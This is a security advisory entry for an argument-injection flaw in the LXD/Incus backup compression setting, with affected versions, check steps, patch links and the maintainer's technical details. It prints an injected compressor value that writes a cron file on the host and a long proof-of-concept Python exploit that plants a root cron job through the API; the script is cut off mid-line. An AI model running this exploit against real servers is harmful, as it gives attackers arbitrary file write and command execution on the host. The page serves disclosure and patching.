---
id: "GHSA-fmc8-p6q7-75cc"
page: "https://infrastack.ai/live/GHSA-fmc8-p6q7-75cc"
kind: "vulnerability"
aliases: ["GHSA-fmc8-p6q7-75cc"]
title: "LXD has argument injection in backup compression algorithm leading to AFW and ACE"
severity: "critical"
cvss: 9.9
epss: null
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260630083100-c5184be310b1"], "affected": "< 0.0.0-20260630083100-c5184be310b1", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-20", "infrastructure", "linux", "lxd", "self-hosted"]
not_affected_if: ["local-access-only", "managed-hosting"]
published_at: "2026-11-06T19:36:37+00:00"
first_seen_at: "2026-11-06T19:38:16+00:00"
updated_at: "2026-11-06T19:39:31+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-fmc8-p6q7-75cc", "first_seen_at": "2026-11-06T19:38:16+00:00"}]
exploit_sources: []
---

# LXD has argument injection in backup compression algorithm leading to AFW and ACE

Link for people: https://infrastack.ai/live/GHSA-fmc8-p6q7-75cc (this .md is for agents)

LXD accepts a backup compression algorithm value with extra arguments that are passed straight to the compressor binary, so the server runs it with attacker-chosen options. A user with API access can write arbitrary files on the host, which can lead to command execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260630083100-c5184be310b1 fixed 0.0.0-20260630083100-c5184be310b1

## How to check

- Check the LXD version with `lxd --version` and compare it against the fixed pseudo-version in the Go module `github.com/canonical/lxd`.
- Confirm whether the LXD API is reachable from untrusted networks on port `8443`.

## Fix

- `github.com/canonical/lxd` at `0.0.0-20260630083100-c5184be310b1` or later

## Timeline

- 2026-11-06T19:38:16+00:00 ghsa https://github.com/advisories/GHSA-fmc8-p6q7-75cc

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-fmc8-p6q7-75cc
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-fmc8-p6q7-75cc
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/0915bb88cbb0baed5ac1aef8e62079c57ac877da
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/0ab30d1bbe398ef6359fb8116d6852790a1f151d
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/1887e3da0f33af250d941e4e9ffafc8fd0911a89
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/32fd88560ddfc10b0a808c9f176d93faf0e0069a
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/932592daa790ddd1c0d074daee9c0522d8e268fe
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/9b09906b3b4c27ba4416e522644bd1d5191cdf5f
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/a2808429c2506d6fa5bf506e4790909c5bd3aac9
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/afc0e7ff003b81fa00f3aff147b99838a610f796
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/b3e8cedb39838e5effe7b9d0ae3a3ad3ce85f9ec
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/c6c999561ccf0024337e9f3746087c7f9c5f096f

## From the sources

Reported from  https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4

### Summary

Improper validation of user-provided backup compression algorithm leads to
argument injection in the constructed command line. This leads to an
arbitrary file write on the host, possibly leading to arbitrary command
execution.


### Details

Incus validates `compression_algorithm` by parsing it into fields and checking
only the first token against an allowlist:

```go
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])
```

Extra arguments are not rejected. `compressFile()` then prepends `-c` and
passes the remaining user-supplied fields to the compressor:

```go
args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile
```

With a value like:

```text
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
```

the daemon executes the equivalent of:

```text
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
```

### PoC

```
python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file
```

The following was generated by an LLM model.

```
#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default.  --execute uploads a cron payload into an instance and
then asks Incus for a direct backup with a zstd argument-injection compressor:

    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive.
Use only on an authorized Incus server.
"""

from __future__ import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests


def q(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def api(base: str, endpoint: str, **params: str) -> str:
    return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")


def project_instance(project: str, instance: str) -> str:
    return instance if project == "default" else f"{project}_{instance}"


def clean_guest_path(path: str) -> str:
    if not path.startswith("/"):
        raise ValueError("--guest-path must be absolute")
    if ".." in PurePosixPath(path).parts:
        raise ValueError("--guest-path must not contain '..'")
    return os.path.normpath("/" + path.lstrip("/")).lstrip("/")


def source_path(args: argparse.Namespace) -> str:
    if args.source_host_path:
        return args.source_host_path
    return os.path.join(
        args.incus_dir,
        "storage-pools",
        args.pool,
        args.storage_kind,
        project_instance(args.project, args.instance),
        "rootfs",
        clean_guest_path(args.guest_path),
    )


def cron(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()


def session(args: argparse.Namespace) -> requests.Session:
    s = requests.Session()
    s.verify = False if args.insecure else (args.cacert or True)
    if args.cert or args.key:
        s.cert = (args.cert, args.key)
    if args.token:
        s.headers["Authorization"] = "Bearer " + args.token
    s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
    if args.insecure:
        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]
    return s


def check(resp: requests.Response, what: str) -> requests.Response:
    if resp.status_code >= 400:
        try:
            detail: Any = resp.json()
        except Exception:
            detail = resp.text[:2048]
        raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
    return resp


def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
    headers = {
        "Content-Type": "application/octet-stream",
        "X-Incus-type": "file",
        "X-Incus-write": "overwrite",
        "X-Incus-uid": "0",
        "X-Incus-gid": "0",
        "X-Incus-mode": "0644",
    }
    print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")


def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
    print("[*] sending direct backup request")
    resp = s.post(
        url,
        data=json.dumps(body).encode(),
        headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
        timeout=args.timeout,
        stream=True,
    )
    print(f"[*] backup HTTP {resp.status_code}")
    resp.close()
    if resp.status_code >= 400:
        print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
    p.add_argument("--url", required=True, help="https://host:8443")
    p.add_argument("--cert", help="client certificate PEM")
    p.add_argument("--key", help="client private key PEM")
    p.add_argument("--cacert", help="CA certificate PEM")
    p.add_argument("--token", help="bearer token")
    p.add_argument("--insecure", action="store_true", help="disable TLS verification")
    p.add_argument("--timeout", type=int, default=180)

    p.add_argument("--project", default="default")
    p.add_argument("--instance", required=True)
    p.add_argument("--pool", default="default")
    p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
    p.add_argument("--incus-dir", default="/var/lib/incus")
    p.add_argument("--guest-path", default="/incus-zstd-cron")
    p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
    p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
    p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

    p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
    p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
    args = p.parse_args()

    if urllib.parse.urlparse(args.url).scheme != "https":
        p.error("--url must use https")
    if bool(args.cert) != bool(args.key):
        p.error("--cert and --key must be supplied together")
    if args.execute and not args.yes_i_understand_this_writes_host_file:
        p.error("--execute requires --yes-i-understand-this-writes-host-file")
    try:
        clean_guest_path(args.guest_path)
    except ValueError as exc:
        p.error(str(exc))

    args.url = args.url.rstrip("/")
    return args


def main() -> int:
    args = parse_args()
    src = source_path(args)
    payload = cron(args.command)
    compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}

    print("[*] target:", args.url)
    print("[*] project:", args.project)
    print("[*] instance:", args.instance)
    print("[*] source host path:", src)
    print("[*] cron path:", args.cron_path)
    print("[*] payload:", payload.decode().rstrip())
    print("[*] backup body:", json.dumps(body, sort

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
